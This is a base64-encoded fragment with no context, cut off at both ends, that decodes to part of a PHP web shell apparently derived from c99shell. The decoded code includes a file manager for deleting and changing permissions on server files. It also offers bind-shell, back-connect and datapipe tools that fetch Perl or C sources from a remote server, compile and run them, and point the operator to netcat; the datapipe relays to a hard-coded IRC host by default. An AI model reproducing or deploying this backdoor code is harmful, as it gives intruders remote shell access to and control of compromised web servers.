WU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi4kdW8uIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0nZG93bmxvYWQnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdWQuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj5EPC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9DQogICAgJGkrKzsNCiAgIH0NCiAgfQ0KICAvL0NvbXBpbGluZyB0YWJsZQ0KICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOw0KICBlY2hvICI8Y2VudGVyPjxiPkxpc3RpbmcgZm9sZGVyICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImZvbGRlcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZm9sZGVycyk6PC9iPjwvY2VudGVyPjxicj48VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPTEwMCUgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9IzQzMzMzMyBib3JkZXI9MD48Zm9ybSBtZXRob2Q9UE9TVCBuYW1lPVwibHNfZm9ybVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iLiRkc3BhY3QuIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iOw0KICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KQ0KICB7DQogICBlY2hvICI8dHI+XHJcbiI7DQogICBmb3JlYWNoKCRyb3cgYXMgJHYpIHtlY2hvICI8dGQ+Ii4kdi4iPC90ZD5cclxuIjt9DQogICBlY2hvICI8L3RyPlxyXG4iOw0KICB9DQogIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+DQogIDxzY3JpcHQ+DQogIGZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykNCiAgew0KICAgdmFyIGlkID0gMDsNCiAgIHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7DQogICB3aGlsZSAoaWQgPD0gbnVtKQ0KICAgew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gc3RhdHVzOw0KICAgIGlkKys7DQogICB9DQogIH0NCiAgZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKQ0KICB7DQogICB2YXIgaWQgPSAwOw0KICAgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsNCiAgIHdoaWxlIChpZCA8PSBudW0pDQogICB7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQ7DQogICAgaWQrKzsNCiAgIH0NCiAgfQ0KICA8L3NjcmlwdD4NCiAgPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoMSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoMCk7XCIgdmFsdWU9XCJVbnNlbGVjdCBhbGxcIj48Yj4iOw0KICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpDQogIHsNCiAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KICB9DQogIGVjaG8gIjxzZWxlY3QgbmFtZT1hY3Q+PG9wdGlvbiB2YWx1ZT1cIiIuJGFjdC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICBlY2hvICI8b3B0aW9uIHZhbHVlPWRlbGV0ZSIuKCRkc3BhY3QgPT0gImRlbGV0ZSI/IiBzZWxlY3RlZCI6IiIpLiI+RGVsZXRlPC9vcHRpb24+IjsNCiAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jaG1vZCIuKCRkc3BhY3QgPT0gImNobW9kIj8iIHNlbGVjdGVkIjoiIikuIj5DaGFuZ2UtbW9kZTwvb3B0aW9uPiI7DQogIGlmICgkdXNlZnNidWZmKQ0KICB7DQogICBlY2hvICI8b3B0aW9uIHZhbHVlPWN1dCIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPkNvcHk8L29wdGlvbj4iOw0KICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIuKCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNlbGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9uPiI7DQogIH0NCiAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiQ29uZmlybVwiPjwvcD4iOw0KICBlY2hvICI8L2Zvcm0+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAidG9vbHMiKQ0Kew0KICRibmRwb3J0c3JjcyA9IGFycmF5KA0KICAiYzk5c2hfYmluZHBvcnQucGwiPT5hcnJheSgiVXNpbmcgUEVSTCIsInBlcmwgJXBhdGggJXBvcnQiKSwNCiAgImM5OXNoX2JpbmRwb3J0LmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVwb3J0ICVwYXNzIikNCiApOw0KICRiY3NyY3MgPSBhcnJheSgNCiAgImM5OXNoX2JhY2tjb25uLnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVob3N0ICVwb3J0IiksDQogICJjOTlzaF9iYWNrY29ubi5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlaG9zdCAlcG9ydCIpDQogKTsNCiAkZHBzcmNzID0gYXJyYXkoDQogICJjOTlzaF9kYXRhcGlwZS5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlbG9jYWxwb3J0ICVyZW1vdGVob3N0ICVyZW1vdGVwb3J0IiksDQogICJjOTlzaF9kYXRhcGlwZS5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlbG9jYWxwb3J0ICVyZW1vdGVwb3J0ICVyZW1vdGVob3N0IikNCiApOw0KIGlmICghaXNfYXJyYXkoJGJpbmQpKSB7JGJpbmQgPSBhcnJheSgpO30NCiBpZiAoIWlzX2FycmF5KCRiYykpIHskYmMgPSBhcnJheSgpO30NCiBpZiAoIWlzX2FycmF5KCRkYXRhcGlwZSkpIHskZGF0YXBpcGUgPSBhcnJheSgpO30NCg0KIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9DQogaWYgKGVtcHR5KCRiaW5kWyJwYXNzIl0pKSB7JGJpbmRbInBhc3MiXSA9ICRiaW5kcG9ydF9wYXNzO30NCg0KIGlmIChlbXB0eSgkYmNbImhvc3QiXSkpIHskYmNbImhvc3QiXSA9IGdldGVudigiUkVNT1RFX0FERFIiKTt9DQogaWYgKCFpc19udW1lcmljKCRiY1sicG9ydCJdKSkgeyRiY1sicG9ydCJdID0gJGJjX3BvcnQ7fQ0KDQogaWYgKGVtcHR5KCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKSkgeyRkYXRhcGlwZVsicmVtb3RlYWRkciJdID0gImlyYy5kYWxuZXQucnU6NjY2NyI7fQ0KIGlmICghaXNfbnVtZXJpYygkZGF0YXBpcGVbImxvY2FscG9ydCJdKSkgeyRkYXRhcGlwZVsibG9jYWxwb3J0Il0gPSAkZGF0YXBpcGVfbG9jYWxwb3J0O30NCiBpZiAoIWVtcHR5KCRiaW5kc3VibWl0KSkNCiB7DQogIGVjaG8gIjxiPlJlc3VsdCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOw0KICAkdiA9ICRibmRwb3J0c3Jjc1skYmluZFsic3JjIl1dOw0KICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30NCiAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9DQogIGVsc2UNCiAgew0KICAgJHcgPSBleHBsb2RlKCIuIiwkYmluZFsic3JjIl0pOw0KICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsNCiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7DQogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7DQogICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkpOw0KICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQ0KICAgQHVubGluaygkc3JjcGF0aCk7DQogICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7DQogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9DQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OWdldHNvdXJjZSgkYmluZFsic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiO30NCiAgIGVsc2UNCiAgIHsNCiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgIEB1bmxpbmsoJHNyY3BhdGgpO30NCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmluZFsicG9ydCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGFzcyIsJGJpbmRbInBhc3MiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7DQogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsNCiAgICBzbGVlcCg1KTsNCiAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkYmluZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOw0KICAgIGlmICghJHNvY2spIHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGJpbmRbInBvcnQiXS4iISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9DQogICAgZWxzZSB7ZWNobyAiQmluZGluZy4uLiBvayEgQ29ubmVjdCB0byA8Yj4iLmdldGVudigiU0VSVkVSX0FERFIiKS4iOiIuJGJpbmRbInBvcnQiXS4iPC9iPiEgWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gXCI8Yj5uYyAtdiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICIuJGJpbmRbInBvcnQiXS4iPC9iPlwiITxjZW50ZXI+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQudG9kby5ncmVwLnZhbHVlPSciLmJhc2VuYW1lKCRiaW5wYXRoKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PlZpZXcgYmluZGVyJ3MgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+Ijt9DQogICB9DQogICBlY2hvICI8YnI+IjsNCiAgfQ0KIH0NCiBpZiAoIWVtcHR5KCRiY3N1Ym1pdCkpDQogew0KICBlY2hvICI8Yj5SZXN1bHQgb2YgYmFjayBjb25uZWN0aW9uOjwvYj48YnI+IjsNCiAgJHYgPSAkYmNzcmNzWyRiY1sic3JjIl1dOw0KICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30NCiAgZWxzZQ0KICB7DQogICAkdyA9IGV4cGxvZGUoIi4iLCRiY1sic3JjIl0pOw0KICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsNCiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7DQogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7DQogICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkpOw0KICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQ0KICAgQHVubGluaygkc3JjcGF0aCk7DQogICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7DQogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9DQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OWdldHNvdXJjZSgkYmNbInNyYyJdKSkge2VjaG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9DQogICBlbHNlDQogICB7DQogICAgZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsNCiAgICBmY2xvc2UoJGZwKTsNCiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7IEB1bmxpbmsoJHNyY3BhdGgpO30NCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVob3N0IiwkYmNbImhvc3QiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBvcnQiLCRiY1sicG9ydCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsNCiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOw0KICAgIGVjaG8gIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi5odG1sc3BlY2lhbGNoYXJzKCRiY1siaG9zdCJdKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSkuIi4uLjxicj4iOw0KICAgfQ0KICB9DQogfQ0KIGlmICghZW1wdHkoJGRwc3VibWl0KSkNCiB7DQogIGVjaG8gIjxiPlJlc3VsdCBvZiBkYXRhcGlwZS1ydW5uaW5nOjwvYj48YnI+IjsNCiAgJHYgPSAkZHBzcmNzWyRkYXRhcGlwZVsic3JjIl1dOw0KICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30NCiAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRkYXRhcGlwZVsicG9ydCJdLCRlcnJubywkZXJyc3RyLDAuMSkpIHtlY2hvICJQb3J0IGFscmVkeSBpbiB1c2UsIHNlbGVjdCBhbnkgb3RoZXIhPGJyPiI7fQ0KICBlbHNlDQogIHsNCiAgICRzcmNwYXRoID0gJHRtcGRpci4kZGF0YXBpcGVbInNyYyJdOw0KICAgJHcgPSBleHBsb2RlKCIuIiwkZGF0YXBpcGVbInNyYyJdKTsNCiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07DQogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOw0KICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5OTkpLiIuIi4kZXh0Ow0KICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsNCiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQ0KICAgZWxzZWlmICghJGRhdGEgPSBjOTlnZXRzb3VyY2UoJGRhdGFwaXBlWyJzcmMiXSkpIHtlY2hvICJDYW4ndCBkb3dubG9hZCBzb3VyY2VzISI7fQ0KICAgZWxzZQ0KICAgew0KICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7DQogICAgZmNsb3NlKCRmcCk7DQogICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgbGlzdCgkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkZGF0YXBpcGVbInJlbW90ZXBvcnQiXSkgPSBleHBsb2RlKCI6IiwkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgiLCRiaW5wYXRoLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlbG9jYWxwb3J0IiwkZGF0YXBpcGVbImxvY2FscG9ydCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVtb3RlaG9zdCIsJGRhdGFwaXBlWyJyZW1vdGVob3N0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVyZW1vdGVwb3J0IiwkZGF0YXBpcGVbInJlbW90ZXBvcnQiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7DQogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsNCiAgICBzbGVlcCg1KTsNCiAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkZGF0YXBpcGVbInBvcnQiXSwkZXJybm8sJGVycnN0ciw1KTsNCiAgICBpZiAoISRzb2NrKSB7ZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRkYXRhcGlwZVsibG9jYWxwb3J0Il0uIiEgSSB0aGluayB5b3Ugc2hvdWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQ0KICAgIGVsc2Uge2VjaG8gIlJ1bm5pbmcgZGF0YXBpcGUuLi4gb2shIENvbm5lY3QgdG8gPGI+Ii5nZXRlbnYoIlNFUlZFUl9BRERSIikuIjoiLiRkYXRhcGlwZVsicG9ydCJdLiIsIGFuZCB5b3Ugd2lsbCBjb25uZWN0ZWQgdG8gIi4kZGF0YXBpcGVbInJlbW90ZWFkZHIiXS4iPC9iPiEgWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gXCI8Yj5uYyAtdiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICIuJGJpbmRbInBvcnQiXS4iPC9iPlwiITxjZW50ZXI+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQudG9kby5ncmVwLnZhbHVlPSciLmJhc2VuYW1lKCRiaW5wYXRoKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PlZpZXcgZGF0YXBpcGUgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+Ijt9DQogICB9DQogICBlY2hvICI8YnI+IjsNCiAgfQ0KIH0NCiA/PjxiPkJpbmRpbmcgcG9ydDo8L2I+PGJyPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRvb2xzPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij5Qb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29yZDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3Bhc3NdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiaW5kWyJwYXNzIl0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJiaW5kW3NyY10iPjw/cGhwDQogZm9yZWFjaCgkYm5kcG9ydHNyY3MgYXMgJGs9PiR2KSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuJGsuIlwiIjsgaWYgKCRrID09ICRiaW5kWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9DQogPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1iaW5kc3VibWl0IHZhbHVlPSJCaW5kIj48L2Zvcm0+DQo8Yj5CYWNrIGNvbm5lY3Rpb246PC9iPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1tob3N0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSk7ID8+Ij4mbmJzcDtQb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJjW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmNbc3JjXSI+PD9waHANCmZvcmVhY2goJGJjc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9DQo/Pjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWJjc3VibWl0IHZhbHVlPSJDb25uZWN0Ij48L2Zvcm0+DQpDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAiPGI+bmMgLWwgLW4gLXYgLXAgPD9waHAgZWNobyAkYmNfcG9ydDsgPz48L2I+IiE8YnI+PGJyPg0KPGI+RGF0YXBpcGU6PC9iPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtyZW1vdGVhZGRyXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7ID8+Ij4mbmJzcDtMb2NhbCBwb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImRhdGFwaXBlW2xvY2FscG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImRhdGFwaXBlW3NyY10iPjw/cGhwDQpmb3JlYWNoKCRkcHNyY3MgYXMgJGs9PiR2KSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuJGsuIlwiIjsgaWYgKCRrID09ICRiY1sic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1kcHN1Ym1pdCB2YWx1ZT0iUnVuIj48L2Zvcm0+PGI+Tm90ZTo8L2I+IHNvdXJjZXMgd2lsbCBiZSBkb3dubG9hZGVkIGZyb20gcmVtb3RlIHNlcnZlci48P3BocA0KfQ0KaWYgKCRhY3QgPT0gInByb2Nlc3NlcyIpDQp7DQogZWNobyAiPGI+UHJvY2Vzc2VzOjwvYj48YnI+IjsNCiBpZiAoISR3aW4pIHskaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTt9DQogZWxzZSB7JGhhbmRsZXIgPSAidGFza2xpc3QiO30NCiAkcmV0ID0gbXlzaGVsbGV4ZWMoJGhhbmRsZXIpOw0KIGlmICghJHJldCkge2VjaG8gIkNhbid0IGV4ZWN1dGUgXCIiLiRoYW5kbGVyLiJcIiEiO30NCiBlbHNlDQogew0KICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRwcm9jZXNzZXNfc29ydCk7DQogIGlmICghaXNfbnVtZXJpYygkcGFyc2Vzb3J0WzBdKSkgeyRwYXJzZXNvcnRbMF0gPSAwO30NCiAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nIi4kZHNwYWN0LiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8ucHJvY2Vzc2VzX3NvcnQudmFsdWU9JyIuJGsuImFcIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj4hPC9hPiI7fQ0KICBlbHNlIHskeSA9ICI8YSBocmVm